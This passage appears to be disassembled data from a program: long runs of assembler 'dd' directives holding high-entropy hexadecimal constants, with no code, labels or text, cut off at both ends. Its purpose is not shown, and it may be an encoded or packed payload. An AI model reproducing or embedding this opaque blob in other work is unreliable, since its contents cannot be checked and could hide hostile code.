5B1D4912h dd 0AD7DED33h, 4F77CE00h, 9F7D7AE8h, 8F6100F6h, 0F416D6D7h dd 580ACB08h, 844E8A29h, 0F6A59F80h, 0FD67C63h, 34E1C99Eh dd 0A84BAF20h, 7F001AD1h, 5EC59ADAh, 0A6F291h, 0FF3D7B0Dh dd 17C7C438h, 0EF519B00h, 157973ACh, 0AF8E221Dh, 0C269E13Eh dd 7148E700h, 0D615E526h, 498D7000h, 39A347F6h, 4BC90063h dd 0A11BC5BBh, 0B492ED1Dh, 0DD3F587Bh, 1CC8E7h, 3ACB944Eh dd 38433D6h, 0E30A16E2h, 66C849F8h, 80006740h, 86A7DBFFh dd 1AC0F2Ah, 7EA5EB04h, 7023BF5Fh, 8E726AFCh, 24EAAE00h dd 8345D736h, 0DB970C65h, 0A7307C75h, 0BBE46000h, 66A0AD1Ah dd 2AF11954h, 103490E9h, 606DCAh, 38A34993h, 3D8903BBh dd 1AD6F606h, 480186h, 98C671AAh, 8DEE194Bh, 740F59E6h dd 4029C094h, 9D44E840h, 24F77BBDh, 80E1B3h, 8AFE34C2h dd 61054A91h, 0C8EFAC24h, 0CCB32E80h, 0BF5A050Fh, 14A8D9ADh dd 7304CC90h, 0C18A6582h, 0DC67CC92h, 5800AE11h, 8E7AF56Eh dd 305F6BD8h, 2914D259h, 3700ADBCh, 83CA6350h, 7552CE1Ah dd 8154046Ch, 80341C95h, 5F45AAF8h, 907A3Bh, 0B23B174Dh dd 1FAA192h, 0FDF46730h, 0E4518E8Fh, 8005365h, 0C1C8C224h dd 1D1D38B5h, 0C1270123h, 6C8A2892h, 83A88099h, 0D57546F3h dd 0C0663E91h, 17035207h, 1161EFA8h, 80BD33BAh, 0BF8F5D30h dd 0C3BCF52Ch, 6F751F10h, 4E8B1590h, 0C4C35500h, 2C789D11h dd 0A79807E5h, 2826D0h, 0F97F132Bh, 7B182403h, 0E84CA1EBh dd 0B8D2ABB8h, 7C4700B1h, 646CE5F1h, 3A009A5Ah, 0DA459642h dd 3C759Dh, 286D4CF3h, 0D9F24E94h, 0D5744700h, 0BCBF22AFh dd 0E83330A1h, 6C8BE2DCh, 257F3EFAh, 0FCEF9751h, 0E548BB79h dd 1F740314h, 0D06F13D1h dd 4C0BA0A6h, 6E01886Dh, 97489616h, 0C29B024Ah, 0A0DC8A54h dd 0A009E800h, 8981AAh, 0C9A51BAEh, 254F43E7h, 650E9A00h dd 16B1CBF8h, 5A5E0014h, 682C1FE8h, 920085F9h, 8AFAF01Bh dd 6AE68Dh, 659B1008h, 2F8B6E76h, 3E75E101h, 900F6B69h dd 0FE87C8F5h, 30368AE5h, 108D6895h, 0DF49EB03h, 0E8B35Eh dd 79827FC8h, 0D2D9611Fh, 732DE600h, 875070BCh, 1C7120h dd 3EE2C6DDh, 0E6D8E2Ah, 84A4580Fh, 371B20D4h, 82EA40h dd 0C52086Fh, 8AEC8F1Ah, 0D2007498h, 7A368871h, 0C001EF7Fh dd 0FE35ED78h, 61CC304h, 2A000BEBh, 0C23D3EFCh, 54D0F18h dd 2EA0C6F0h, 8F63AA65h, 7900D576h, 991DABB7h, 3D71062Fh dd 0D007238h, 0ED496C0Bh, 50C05903h, 0B8AE267Dh, 2D8700ADh dd 0C0E9727Eh, 0E8070B6Bh, 4295A362h, 40CD3E50h, 0CB090777h dd 2493325Fh, 2B94C096h, 0F401EDF1h, 5D1362D8h, 2D880BDh dd 0EFFCF517h, 0F66008Bh, 7453A59h, 30F4E9D2h, 0B8B46B00h dd 5678078h, 0E8D86063h, 36AF188h, 894964Ch, 47BF26Dh dd 0D03D93AFh, 3C382F6Ch, 0A64E1100h, 0EF5819C4h, 2E3600F1h dd 65D19AB8h, 4648B4B3h, 0E6B71F58h, 29E73480h, 7B5244h dd 0B8C89513h, 0ED414EDCh, 787F3902h, 0E08CFE3Fh, 9010E320h dd 7D600F0h, 5BA96FC4h, 0E67E757Bh, 639CB7Eh, 8BA400A2h dd 0F6521307h, 6C5F4CD1h, 12FC0071h, 3282A73Bh, 2E0E978Dh dd 23095D87h, 3C64FA4h, 740C9E56h, 6FD0842Dh, 0D80507D4h dd 1EC29D76h, 0B8082783h, 99577Eh, 7AADD7F3h, 9381FD6Ah dd 1EF96300h, 3C279F1Bh, 244D0F53h, 4A603DFBh, 0D39996EBh dd 0DCB61500h, 36531707h, 3FDB895h, 0B0DEF947h, 0C053DB14h dd 68A207E0h, 0E1601C9Bh, 0D3590B25h, 0E60C0038h, 3BB4D756h dd 0CA004E78h, 8D1D81C3h, 1ACEA11h, 0F22C38C0h, 0C8C13A76h dd 0A3030956h, 4F0DEBD5h, 60A9AABDh, 0EF5EC4h, 0C6294E37h dd 3B063E3h, 12DD4600h, 3E413294h, 679F3DCAh, 4C961D80h dd 0E140ECD2h, 2737FB00h, 8DDF487Eh, 0E6D02486h, 20990F74h dd 66C402B3h, 7C630301h, 0E53F56D8h, 0C2AF7F00h, 55C66554h dd 2090F1h, 7AE4D5BFh, 3B99C825h, 18F0FE37h, 673EA730h dd 9EC70324h, 793FB166h, 21D44AF8h, 510BF200h, 6C4BAE46h dd 12FF01EEh, 0A1984289h, 99A7FCEDh, 0EA90DDE4h, 20822F25h dd 61893B14h, 154707D1h, 90A1BD2Ah, 39E4E074h, 1490F500h dd 8B78B19Fh, 23E31E68h, 4CE6B2h, 122EB72Ah, 0C890C6B0h dd 0A046A200h, 7E5F3397h, 0FC1649C2h, 0EA4B9C00h, 0D065D2C0h dd 390150Fh, 84280026h, 0B068C4B8h, 6AA4CE8h, 7412D000h dd 85FCBF0Ah, 22162C98h, 4B1D9246h, 58B0E046h, 3E2FC19h dd 0B36C2DA3h, 0E6E9751Eh, 0CD18DCF0h, 0C2E39600h, 0EFDC492Eh dd 4808285Dh, 9A6200A0h, 0EFBE0AFh, 522E9157h, 5900A629h dd 900C222Fh, 0F09033h, 3E867605h, 71195F16h, 0C196DE0Fh dd 550E67E9h, 396CAD80h, 4766004Dh, 17CEF8B2h, 8902A74Bh dd 5DF68C35h, 8281E0B9h, 55C20326h, 0C571A37Fh, 0B3E0A6A3h dd 0B8F4BFF5h, 84794400h, 5C052597h, 0D23C3BB7h, 0AA9ED980h dd 82BA143Fh, 0FC007FFEh, 0D0BD5613h, 51AE15Bh, 0BCAD018Bh dd 3921C0FEh, 4004246h, 0AA1F7B09h, 83F768h, 0AC37195h dd 0A60CA0D9h, 0E5871518h, 5B9030h, 616533F3h, 7B6A1BBh dd 30134D00h, 96865C1Bh, 0DB661F75h, 80042E44h, 62FB683Eh dd 0A41E597Ch, 0F180DE88h, 5D20CA39h, 57DB0081h, 0A8742907h dd 3500E4DDh, 55249480h, 0E5314h, 402867CBh, 0B17A8138h dd 0F47E4700h, 0AB35421Bh, 8A9F0192h, 11D8202Ch, 0F31E4D3h dd 0BE00CC75h, 54F14DFh, 30B667E1h, 8E42764Ah, 60004795h dd 85825B29h, 2C94ECCh, 0E3FB21DCh, 33C03CB0h, 870084F8h dd 54395057h, 0C815B4h, 0DB2C193Dh, 0F45ECFD1h, 0E955F300h dd 0E0C7A4Eh, 49EF006Dh, 0D762DCE5h, 0FB00B9D0h, 54772B2Dh dd 5AE913h, 7BA420DAh, 645E6107h, 0DBCDD500h, 603BFFF5h dd 44C000CCh, 0A49C90B7h, 0D300E9C9h, 20477D2Ah, 2F8593h dd 5CEEA713h, 714A81EFh, 2DEA21Eh, 149B3300h, 0A677C0Eh dd 0FB3E77A0h, 761709A0h, 0D10ADC80h, 2500BBEAh, 371C4972h dd 678B57h, 9E662A10h, 0D517904Ah, 8F0728FEh, 0F2C3C45Fh dd 4924601Eh, 4EDC1B3Fh, 69780EBEh, 0A0D4D820h, 200C995h dd 5ECD39A3h, 2E937A8Dh, 53E05D3h, 404FACAEh, 0E623D18Ch dd 21387D4h, 3C80B543h, 66C52Ah, 4EBE89BFh, 321D5218h dd 0C726F403h, 0D2446D9Ah, 0A73CE86Bh, 9D5C0067h, 0F585202Ah dd 21E8D02Ch, 2031C734h, 4010FF18h, 1D88906h, 0E813FD4Eh dd 0AF8C11C0h, 79A6D3Ch, 101681ABh, 4BFD32C0h, 0F7A57465h dd 0E507342Ch, 0C1ED3A3Bh, 0D4B14F60h, 811DE373h, 84EA5F96h dd 25A6BA0Fh, 199D4D7h, 781E802Ah, 5C08AC8h, 9D7A3165h dd 0DC16B928h, 853824E8h, 95301D4Bh, 0B6323700h, 0D3A5A725h dd 0A8280C51h, 0C0612A81h, 10490CE8h, 0CF4D060h, 0B669117Ch dd 0A90AA6C0h, 9438B96Ch, 85BBFB00h, 0D093FFh, 0B4EE8B5Fh dd 378D1535h, 0F957C001h, 0CDB7652Fh, 7C5BE4h, 42D7DEF4h dd 0DCDAA3C9h, 48CFB000h, 14E4E383h, 0D3A1580h, 41EBC70h dd 0FC1D8338h, 0F3C09A6Fh, 0D9C69C25h, 4CB1BBA0h, 9303F791h dd 8126F377h, 0A43F2103h, 1EC522Ah, 0D7421911h, 40AC1CBCh dd 0A0E3F41Ch, 27114860h, 30829522h, 0E81EC28h, 0C31DBA9h dd 0AB6411F7h, 0A469B2F8h, 0D9DF0FC4h, 8D48DEDh, 22F0496Fh dd 0EB641DF6h, 1502998h, 52EC6816h, 2904108Dh, 0AF4C0045h dd 98974ABh, 336037DAh, 0BC36E3C8h, 79E764Eh, 26AA6738h dd 0C4103C3Ch, 1DD38F04h, 2491319Bh, 0D8DFAEBCh, 1B65902h dd 3EEB019Ch, 47DE061Ch, 32B4C3A4h, 8CCE09C1h, 0A9EF0F10h dd 0E283CD0h, 7D2FB600h, 78C9BF9h, 635BB300h, 0BDAC24F3h dd 28F01EF8h, 18298C3Ah, 69182E38h, 0A868F79Eh, 792D0C40h dd 6C1098C2h, 6574ED1Eh, 0FDC2975Eh, 900FCF80h, 3A91F8Ch dd 0EA22BF0h, 18B8134Ch, 0A744471h, 6E0F261Eh, 7D0AE097h dd 3C038C41h, 0B0B0573Ah, 362E87E2h, 18696EA1h, 0AC312475h dd 81DA90F1h, 3C050C40h, 27920E6Bh, 58092AB3h, 8A112E81h dd 816CEC25h, 2484EA50h, 3D058D78h, 8252CA28h, 9ED7CC40h dd 3B35437h, 5D225113h, 88B80575h, 3A001915h, 25084958h dd 7C6D87FBh, 0A0A84016h, 2C5749h, 0FCCBC597h, 0F987A5h dd 6C3B206Ah, 46780C48h, 0A70FEB00h, 9D2537C2h, 30512F1h dd 0E2540EE3h, 0AD526C80h, 8C6E2A41h, 0C83420D0h, 4F7A54h dd 56737DDFh, 655C55ECh, 4C0DE8F9h, 74422206h, 7A29CBD3h dd 1658F8DAh, 14B3931h, 0D3038659h, 4EDE0EFh, 0C800EC7Ch dd 0D2C39606h, 1DC2EB8h, 0FF8A8274h, 30D69D14h, 0B600C594h dd 0C0D2CF33h, 95B33Dh, 1B3E1109h, 431DADECh, 8887DF00h dd 0C83D9FEAh, 0BE1400D2h, 1E6328Dh, 9000B599h, 0EB1B3CDBh dd 0C4B5BCDh, 0A9DF66Fh, 0A60FC820h, 0F44349E3h, 0D8E3E120h dd 380CF618h, 0C0F03B43h, 548F05D2h, 80154FF3h, 7D6D17DEh dd 21E108CCh, 0F34C002Eh, 0DF843DCFh, 4A016581h, 2197D12Fh dd 8840D2C2h, 310AE0Eh, 1569981Fh, 8100658Eh, 0A0AC805Eh dd 0ADF274Bh, 0E305896Fh, 0B2730188h, 0BB1D61BFh, 0E9808528h dd 0B0413422h, 0F51AA43Ch dd 309B1320h, 769C8BDh, 4A15DC62h, 0C009E0h, 9517BE59h dd 0FE76B224h, 5382001Ch, 3A75AEE1h, 0CA009F91h, 0CD73650Bh dd 6715052h, 800748C4h, 0D500E1F3h, 309F2587h, 0C04D341Dh dd 47806260h, 3A306509h, 7261299Bh, 3B54E0D6h, 71873175h dd 205AED4Dh, 0CB4B5E6Bh, 72C88700h, 436A48CCh, 7078D8DEh dd 4225F55h, 53EF3C15h, 4B3C9AA2h, 1AA194EBh, 0E7786084h dd 50384187h, 30039427h, 2E393A18h, 0E0A1C237h, 8511858h dd 7D154AF3h, 2F4086C4h, 50C2F349h, 60689C00h, 9D4DB336h dd 4408483Dh, 19221C0Ah, 27080BCh, 0B27117E4h, 0A340CB00h dd 0EA91B9D4h, 841C0642h, 98B41989h, 0BA059F09h, 0A3040016h dd 246599C8h, 0A10C2B82h, 0DC4815E4h, 74B6F700h, 1743686Eh dd 0EACCA1C0h, 607003B2h, 4F3E13Eh, 0A7012309h, 84EC8055h dd 945781C7h, 1B3F1BD3h, 59420829h, 5EDD4AC0h, 53A7F71Ch dd 0ED186E40h, 0A3617DBEh, 40D3C2A8h, 0CA623D88h, 11A01811h dd 0F358805Fh, 8CB51573h, 0E328844h, 474DF350h, 1E545D20h dd 0B3074018h, 7D60823Eh, 8C4C9783h, 0AB911C90h, 549065h dd 525D50C6h, 0A5DE1DF0h, 906FCD37h, 0A0332062h, 0AF702890h dd 4E4D0355h, 56B53D90h, 21100830h, 4AF4873h, 28C0B034h dd 0E5E88196h, 857403CEh, 0E12D884Eh, 81EAA227h, 5EB1FECh dd 20CC42F7h, 0F99440CFh, 0F1A808A3h, 84064578h, 17571D0h dd 727D0041h, 0F499D73Ah, 8F62CD35h, 182122A8h, 5910AF74h dd 0FE2AE4Dh, 0A42FC1C0h, 221FDE00h, 4F5DC0B5h, 0EB6B014Bh dd 0CD954DCAh, 2C382006h, 1E410810h, 0C448C839h, 69CBA980h dd 0FC1ED8DEh, 0AF096050h, 49280012h, 142FA3F7h, 0A89A588Ah dd 98956204h, 38F90230h, 57E8B052h, 157411F3h, 808788ADh dd 8FF34F35h, 7E019BCDh, 0A5ADD4E2h, 30221503h, 0D998404h dd 727481EDh, 7A11EC6Dh, 0F0B54128h, 55901B0Bh, 131A00BBh dd 58849F9Bh, 5880C06h, 1736FB80h, 0FA81ADh, 94599FABh dd 6E286C47h, 0F4143D00h, 0A0BFD538h, 0E04B18ECh, 0C6323917h dd 9A5EFF09h, 527C0420h, 0E8093h, 0FFDE5821h, 0A310D940h dd 0F20B4100h, 0AF95F4FEh, 899E0068h, 8033A2C0h, 911B85A1h dd 8C8BDD1h, 1CB40868h, 0EE197782h, 33E0482Eh, 9095543Ah dd 0A5960030h, 0E4710112h, 0D09174D1h, 85AF2130h, 26C1903Dh dd 409C3887h, 6575ABBDh, 4909DC90h, 80A58146h, 597B91A0h dd 886F485Fh, 931C4D24h, 5E900145h, 89A824FDh, 80CB4C28h dd 81C474D0h, 0A13400A9h, 617FCF36h, 492075Ah, 162CE502h dd 0C43B1415h, 3CCC0F50h, 40BE4544h, 0DCCFEC81h, 0CE1E5B83h dd 0B91C8F3Dh, 9FDB1442h, 1E58C4BCh, 0E4C9EE63h, 3BC50148h dd 809C3AD8h, 0CB299951h, 8CAD64h, 0FE1AB095h, 1F5A891Ch dd 9B72AA00h, 7A5230F8h, 745524A8h, 0F1F68868h, 1E1D9903h dd 84B03D19h, 4CC0A52Ah, 45233C4Ah, 71F35203h, 0E062DC15h dd 0F34A2C20h, 0BDCC0608h, 48F59D89h, 86B7710Bh, 58B020EDh dd 0A80A1A04h, 0C0C121D0h, 1929E7E1h, 4258D82Ch, 204DCE44h dd 0B3089016h, 1404921Ah, 0F0839B41h, 0C9A16A87h, 7447E881h dd 1919803Dh, 0BDCBD85Bh, 0F0771F5Ch, 1108B3BAh, 437C2100h dd 0F83A4AD8h, 0B9930F5Ch, 0FBA07226h, 6DF49284h, 8631AF04h dd 94900522h, 0F33AC1Dh, 1FBBE70Fh, 4BC2F7C0h, 0FC006EF8h dd 522BAA58h, 6FD1D80h, 0E01389FBh, 8D3FB11Fh, 5E9E82D0h dd 0E0236D37h, 2B597F1h, 4EF393CBh, 8040C5A5h, 3807F72Bh dd 0A45FEC07h, 0CC807385h, 28659A5Dh, 48D01172h, 0C402E45Ah dd 71F7C366h, 0A1FBCC40h, 30911CF0h, 2D3AFC80h, 201C087h dd 0F216E763h, 34C1F35Bh, 92E0FC86h, 1BF8AD00h, 0D9E6AC9h dd 2ED10562h, 26BA94h, 9A0510FAh, 68998675h, 19124B1Dh dd 85916400h, 0B8091804h, 7BB5209Ch, 0D4B1F498h, 0EC1888D1h dd 96D95200h, 26701931h, 57411F8h, 4A0079C8h, 85787328h dd 584C12F3h, 0DEC0040Fh, 0A55290B4h, 0C7382D01h, 27960778h dd 11B461A4h, 0F3568051h, 8CA51575h, 308944h, 34C5F34Eh dd 4192AB61h, 6D028BF8h, 0CD996A9Bh, 758C4888h, 0C354818h dd 5D878428h, 440130BEh, 0DBC0F709h, 0EED5F0BDh, 2C1731C1h dd 3EE59D82h, 912FE020h, 180FD158h, 0E4500245h, 13B26169h dd 0B508CC81h, 0CA342506h, 0B8800864h, 9B0102B9h, 0A22B9875h dd 68E0644Bh, 0BB2A020Eh, 71F0D51Ch, 993E8860h, 1F0050B0h dd 30A0A9A5h, 269E05D3h, 408D0C0h, 19B2989h, 7EDB759Dh dd 4829A072h, 0D85E0160h, 1844BDC6h, 467B8816h, 0BD22D807h dd 0E5908449h, 11C782DCh, 0F1DED8Fh, 0CF8905FAh, 0CDCA003Ah dd 0A019F99Dh, 3058DC98h, 0D2299A07h, 400B7A7h, 4D5AB9B1h dd 0E5F900Eh, 0CAEFC34Bh, 53D8D83h, 809B3816h, 1EE0F821h dd 0E86B4180h, 93BAA36Ch, 73036676h, 3D2157Ah, 0EF611719h dd 0EB5C0658h, 950948ACh, 37E9186h, 4C19F074h, 0DE88449h dd 0D7441E8Ch, 9FD3014Eh, 0BC8885B1h, 0C901C648h, 0F89A69FFh dd 880A0C1Ch, 0FC002155h, 70854F06h, 319B31EAh, 0EDE918BEh dd 9C13101Fh, 2AA400BAh, 0AE87F353h, 0B30C81E7h, 0D8645D95h dd 0ACDF4ECh, 1093AD97h, 0A43902ECh, 84E1DC31h, 2809D992h dd 4182048Ch, 490E599h, 98D6840Dh, 0C3380118h, 89BFC44Fh dd 203DEFB1h, 58130AD2h, 65782048h, 0BD088CD7h, 179A31F1h dd 1A970C9Fh, 0CB4D2290h, 0E4090004h, 525E03F0h, 50BD600Ah dd 21888407h, 0DEDC3754h, 0A762AB01h, 0BDA655C3h, 1D6D53E8h dd 405DD8A5h, 61AFFAB6h, 0A1742ED3h, 7DF7B80Fh, 0A8C7005Ah dd 3FC0A3A6h, 74B079h, 0D1BB7338h, 21446B5Fh, 4BC84D00h dd 0BA0CA6F5h, 15973CFh, 614ED1A7h, 0DC5DFFA9h, 5057ECA4h dd 0FE571E38h, 94BDB20Eh, 0DF5AA818h, 18B9DE08h, 0B130B05Fh dd 0DBA76D1Ch, 0FE42C880h, 5A53ABh, 0A95838DAh, 46475FFBh dd 139201Fh, 0DACF580h, 0C37EEC45h, 47514BD1h, 41B84DC0h dd 906438D6h, 2EED0468h, 8514F58Ch, 1E94075h, 574186DCh dd 42787049h, 0F9BE1905h, 0F081E8CEh, 3083EDBBh, 438FEB52h dd 0A6E191Eh, 80FEF0Ah, 9981D024h, 3CD6489Dh, 503BF420h dd 12D32CF1h, 0A286265h, 660C3804h, 0C8C8948h, 78C7A4Dh dd 0D79D4DFCh, 0A090586Dh, 759E8173h, 408CDCE6h, 48E96049h dd 594C40CCh, 9E342AA3h, 6E490C78h, 0F2B1F617h, 7A437E87h dd 0DF8921BFh, 48EB5990h, 11A111D4h, 20B40813h, 0CA0D9FECh dd 0BC2881EFh, 3C155EF3h, 0CBE461D2h, 0FB0727F2h, 96160448h dd 600BC52Ch, 0DCD7B300h, 28D833BDh, 90CF673h, 47003C8h dd 0C9A928C8h, 1978740h, 174D4EB3h, 4189BDAFh, 0E29AD20Ch dd 4B28D064h, 6F1F58B5h, 0F3D450FCh, 884EE864h, 0F098CCD7h dd 608C5B55h, 0BCA47C3Ch, 0D53DB880h, 0C474A089h, 8D3715B9h dd 0F63FC423h, 81F899A9h, 0A134A2DCh, 145C30ECh, 45489084h dd 0B9408C73h, 29F6C119h, 918C60D9h, 0A0E44605h, 2672F35Ah dd 4C7CBE15h, 0D6443398h, 0E5411881h, 35F49148h, 386F68C1h dd 0A0104791h, 88A686F0h, 6EE04260h, 61BE18D3h, 0D4585928h dd 8A944905h, 0E08C6140h, 72C7AD8Fh, 25980C32h, 0DF8072EAh dd 508C98A8h, 0CD811C31h, 0DFD2843Eh, 1917C504h, 0A1588830h dd 0C8A328F0h, 146042F4h, 9994ED37h, 8BDE2D40h, 84603AC8h dd 0D34A1E28h, 9943E680h dd 59270C8Ch, 0AF4C028Fh, 0F10C675Ah, 0BC8B0ABFh, 0A8A1B8C6h dd 802814CCh, 0C99D147h, 4787585h, 8FD8558Ch, 3D6CF29Ch dd 13BFB342h, 0A039B124h, 20B3AF9h, 0B409AC1Fh, 0DB144903h dd 7462D84Dh, 6159221Ah, 0FA2350BEh, 92CBE0DCh, 76FBD9Fh dd 0D8A8B451h, 9974D281h, 0D8C014B4h, 0BCAAD1CBh, 5417D958h dd 0A22C9A4Ch, 0CCF035F5h, 3F28DDCh, 1F2BDECh, 3F44810h dd 203A36BBh, 977C2D78h, 80217288h, 0CCA44182h, 5E75DC07h dd 4BC3D0C2h, 67EDD060h, 2E70C698h, 70CE18CEh, 99125011h dd 0FFA82275h, 6693C98h, 3946A9F6h, 3C47E8D1h, 0B19C6704h dd 0D8497990h, 11CC3C18h, 0E1AC1DDBh, 39008B05h, 1C903B9Bh dd 557CBE00h, 0A4ABFAA5h, 0AAC30332h, 18D1A76Dh, 0F7A7A89Bh dd 0AF408EBAh, 696B6B0h, 0F772591Ch, 0C1A828C0h, 3361AAh dd 0A755A0C0h, 0BA60AD8Ch, 6218FF1Dh, 7B28F81Bh, 0C0A33E11h dd 0F5B65600h, 0C1336FA6h, 0B761AF00h, 32BD5B8Ch, 0FCA7F8CDh dd 0F05975F4h, 4AA78FCh, 0B955FEBBh, 0EFE88864h, 607D04ADh dd 0BDA64BCBh, 0A302B490h, 54B0C264h, 0C74479D3h, 54242823h dd 9D6040C0h, 0B6D3F4CBh, 0B886645Ch, 5C579F48h, 99496418h dd 683D26B5h, 3BDF05F4h, 0EE3081D8h, 1E9EC41h, 37D44B2Ch dd 7103FA01h, 90803732h, 5F9ECA65h, 2F044B52h, 0F62331F0h dd 0BB8008BDh, 0EE9AA8E8h, 9089EF4Bh, 634ECC30h, 0CAEB7074h dd 4080EDC2h, 536038F6h, 0EE8D28B6h, 0A1E108A3h, 52F9F980h dd 0D0855CD4h, 6050028Ch, 0A2957A4Dh, 89870C3Ch, 9D1095F1h dd 0E2E41D12h, 4BC85C80h, 0C67FE6F4h, 68434AE0h, 0F888BF33h dd 86810414h, 0A45385F1h, 0C3408328h, 19D87C38h, 78A6341Dh dd 37D448F1h, 8CAEB3E4h, 0B2431308h, 8138F392h, 5C2AFFDh dd 0F8463AE0h, 1E98C7D2h, 93011504h, 0B3209018h, 5C038F23h dd 715934CDh, 0B9E41Ch, 0E009D079h, 9CF03064h, 22F90828h dd 0CAF8B864h, 1F861A09h, 99E60008h, 0F1EB15C6h, 79D94500h dd 0A86DA120h, 75A9488Ch, 55AAD307h, 985C85BEh, 50B0CE78h dd 0A6C1A916h, 1803541Fh, 0A0DF4474h, 2D0A3B9h, 991E7A59h dd 60981403h, 89020C69h, 0FFAD1DD4h, 0E104B080h, 53CD7C4Ch dd 8400C10h, 0CFBA1F46h, 748C22A0h, 78560C2Ch, 0F3D336C1h dd 4815218h, 0E491AC4Eh, 0A805882Fh, 4A103298h, 14F40899h dd 0ADDC04A4h, 92C9930h, 22104B70h, 81926776h, 0D1904EC6h dd 2109F08h, 67887040h, 8918106Bh, 3D619CB7h, 4C487B88h dd 35334001h, 0C50008Ah, 0D07CDB58h, 0F1321828h, 0F324EE09h dd 0F591F048h, 9744F222h, 12998994h, 489B2496h, 229D9198h dd 9C9F449Ah, 9E12E189h, 0C0C1E327h, 47C9DC4Ah, 615122C4h dd 1835C174h, 4B33D1EDh, 4F229B0h, 82B9575h, 73C1026h dd 431C2F59h, 0DFE035E6h, 0E5E9CF38h, 0B7B0E03Ah, 87C8603Bh dd 0AA2FA8EDh, 52C7B647h, 9A41BE87h, 20E386F1h, 6071AE40h dd 0E1FFFC81h, 0C8C0B78Bh, 3AED09BFh, 484D7BA5h, 7F04E87Fh dd 2B1659F5h, 43508830h, 444B08DEh, 29BEC44Dh, 0B75C38B9h dd 5848EC83h, 0AD657103h, 22664AFFh, 18826309h, 5DF50417h dd 883AB3C0h, 13001BCh, 763703FFh, 31104171h, 0E0384AF3h dd 0FDAC67h, 0BDB39363h, 0AEEC1E4Ah, 3B68343Eh, 6A988025h dd 0E0A63505h, 3EC14286h, 4D11009Fh, 2840B31Bh, 28EC5417h dd 0E44EBDCCh, 7D1830E2h, 0ED40D376h, 6331C0B1h, 0B86FA9CEh dd 5359F407h, 67C0BEA0h, 0F1A3C1B9h, 0D3BCA42Bh, 0A700BA74h dd 0A659CFA8h, 0AE38FAADh, 31BD7814h, 0AC306CA4h, 8CC3D960h dd 30D1B638h, 0ABF400A8h, 5CFBB7BFh, 0EC1E6961h, 0FE4C5368h dd 37D090ACh, 4019A35Dh, 6DB3FBBAh, 0ACFFA50Eh, 3A809B55h dd 0A409D328h, 5DF8ABh, 0A3A9C0D0h, 0A5BA0DD2h, 0D431BBA7h dd 59C2AFC1h, 9AA2B9A9h, 63A8100Ch, 0ECA04ACFh, 40E94A44h dd 14A78840h, 0DCBAABF5h, 42F66EC7h, 4B55E933h, 254996ACh dd 0BC7641C0h, 2F20F92Fh, 0E00A907Bh, 9D81BC16h, 4298A1F8h dd 0D368F52Eh, 70D1BAE4h, 9A7ED450h, 0D8390024h, 77BAE49Fh dd 0BE9B1579h, 0F00EC16h, 7E78EE3h, 0E0BDE996h, 0C6786CB8h dd 283311A9h, 13484017h, 437ACFCh, 0E18B26A9h, 0F2186F51h dd 0AE77B923h, 0D2C22268h, 31F33A30h, 0D0D62232h, 411D2C81h dd 4A20221Dh, 0F1745F3Ch, 8C40022Ch, 1D282C06h, 332B5237h dd 5908F5B8h, 0C36FA74h, 0ED79CE21h, 3708DF67h, 0A513EA6h dd 3448EE18h, 7DE00EC8h, 0A91740F8h, 2E010F73h, 0D89BC94h dd 0F72A368Bh, 9D8F0494h, 0ED0C645Dh, 870CAE79h, 308A9FF1h dd 69E9613Ah, 1011F6EEh, 12E595B3h, 0AF1AC918h, 75DBA460h dd 3A104092h, 99FCF1C1h, 3186F0EDh, 0D835CD74h, 974C3C54h dd 2A58AD51h, 0B20418F6h, 1B0ADDBFh, 85F3E039h, 2A8E3005h dd 19AE2130h, 0EE3380C5h, 586F4C0Ah, 0CA285EA5h, 1DD77054h dd 0A497EE29h, 56F19908h, 1DD31121h, 0B831E309h, 790B60D9h dd 0D25A3E84h, 6F28A742h, 0E5CE9DA8h, 2808F005h, 0FB105722h dd 0FC90CA8Fh, 88974275h, 18D247C1h, 0B991217Eh, 0FA22C744h dd 0E2DD0835h, 4208D551h, 9AB9428Dh, 10224214h, 55FCD36Ah dd 2D888D42h, 116A7244h, 939C96F1h, 885C24EEh, 0CD45BD6Ch dd 25206023h, 0CCD73709h, 4B6010EDh, 137936F4h, 9AF84061h dd 2136BE31h, 0A03FDA2Bh, 58D00DEFh, 8232890Ch, 4EC147Ch dd 1FC8001Ah, 4D410955h, 11636CCCh, 214879B4h, 9997848Ch dd 2828D0CCh, 51747104h, 0A22E50F2h, 9E930E0h, 0C8C296D2h dd 0B6829D40h, 91ED4D2Ch, 0C3675A0h, 9844F053h, 0F2AF3771h dd 0A7578921h, 118FCEA8h, 3E0A2908h, 0E0C11660h, 0F811C001h dd 0FC96344Ch, 0CFCA1000h, 0C7B5D2AFh, 53990629h, 398F9A07h dd 1D5084EAh, 46880664h, 0D6500EA7h, 91806E09h, 543A2E1Ah dd 0A11F4873h, 934ECB90h, 0B6AE2352h, 0BA40005Dh, 6726CFF5h dd 4CA0EACDh, 6D269614h, 37004816h, 684C9C66h, 216E6004h dd 0DF4B5FEFh, 6A4DD106h, 3199A3Bh, 0FE43F3A1h, 0C5A03E52h dd 0D8010BC0h, 0F165DA1Fh, 30209CB1h, 2F6D0049h, 5276AA99h dd 0F03FDCB5h, 157583FDh, 7C057186h, 7D2C0078h, 0E5765C6Fh dd 51F24B50h, 0C4A01751h, 3A30363Dh, 0BB357997h, 61E282h dd 4B96D4EBh, 69E5CDECh, 6F306660h, 169A3621h, 0E1CFA65h dd 80014138h, 801603ADh, 4230BA10h, 0F4373813h, 870F171h dd 0A9850CEFh, 8AB8E1F9h, 9776B201h, 594254B9h, 0AF45E8h dd 41BB67E8h, 0B0956643h, 7B0EE707h, 74C058ADh, 7348A50h dd 726A4C40h, 0D2FE4056h, 80062F0h, 0F258E70Fh, 79474018h dd 44F16197h, 0D0634605h, 1D1E4C03h, 489D32FEh, 675B033Eh dd 0FF30AABh, 52E61B40h, 50AC0680h, 40A40C89h, 941E27F8h dd 5400F84Eh, 790F5B06h, 0A6AB7863h, 56B90230h, 4128E44Ah dd 67B81C9Bh, 978035F1h, 507A0278h, 4A7B27ABh, 46066099h dd 48DBC8Ch, 4127E4C1h, 4E28709Dh, 7D85310Bh, 0C18704Dh dd 8A0063E7h, 397EE60Bh, 154CBB45h, 2C9628A2h, 0ECA508Eh dd 68A807C4h, 7673C027h, 38AC59BBh, 497D9700h, 79157310h dd 0D2E50A51h, 0E8145A78h, 5995E040h, 49714C73h, 770CE30Eh dd 7A7D8567h, 4D02F85Dh, 883143AFh, 5E55044Ch, 467B0800h dd 47675EB2h, 7E443EB1h, 7D00223Fh, 5A87FE6h, 34984B40h dd 4D62493Fh, 281E7400h dd 0B901234Ah, 29734C80h, 0EAC9820h, 0EB17F20Ch, 939D41EFh dd 0A8400F03h, 4E9728F8h, 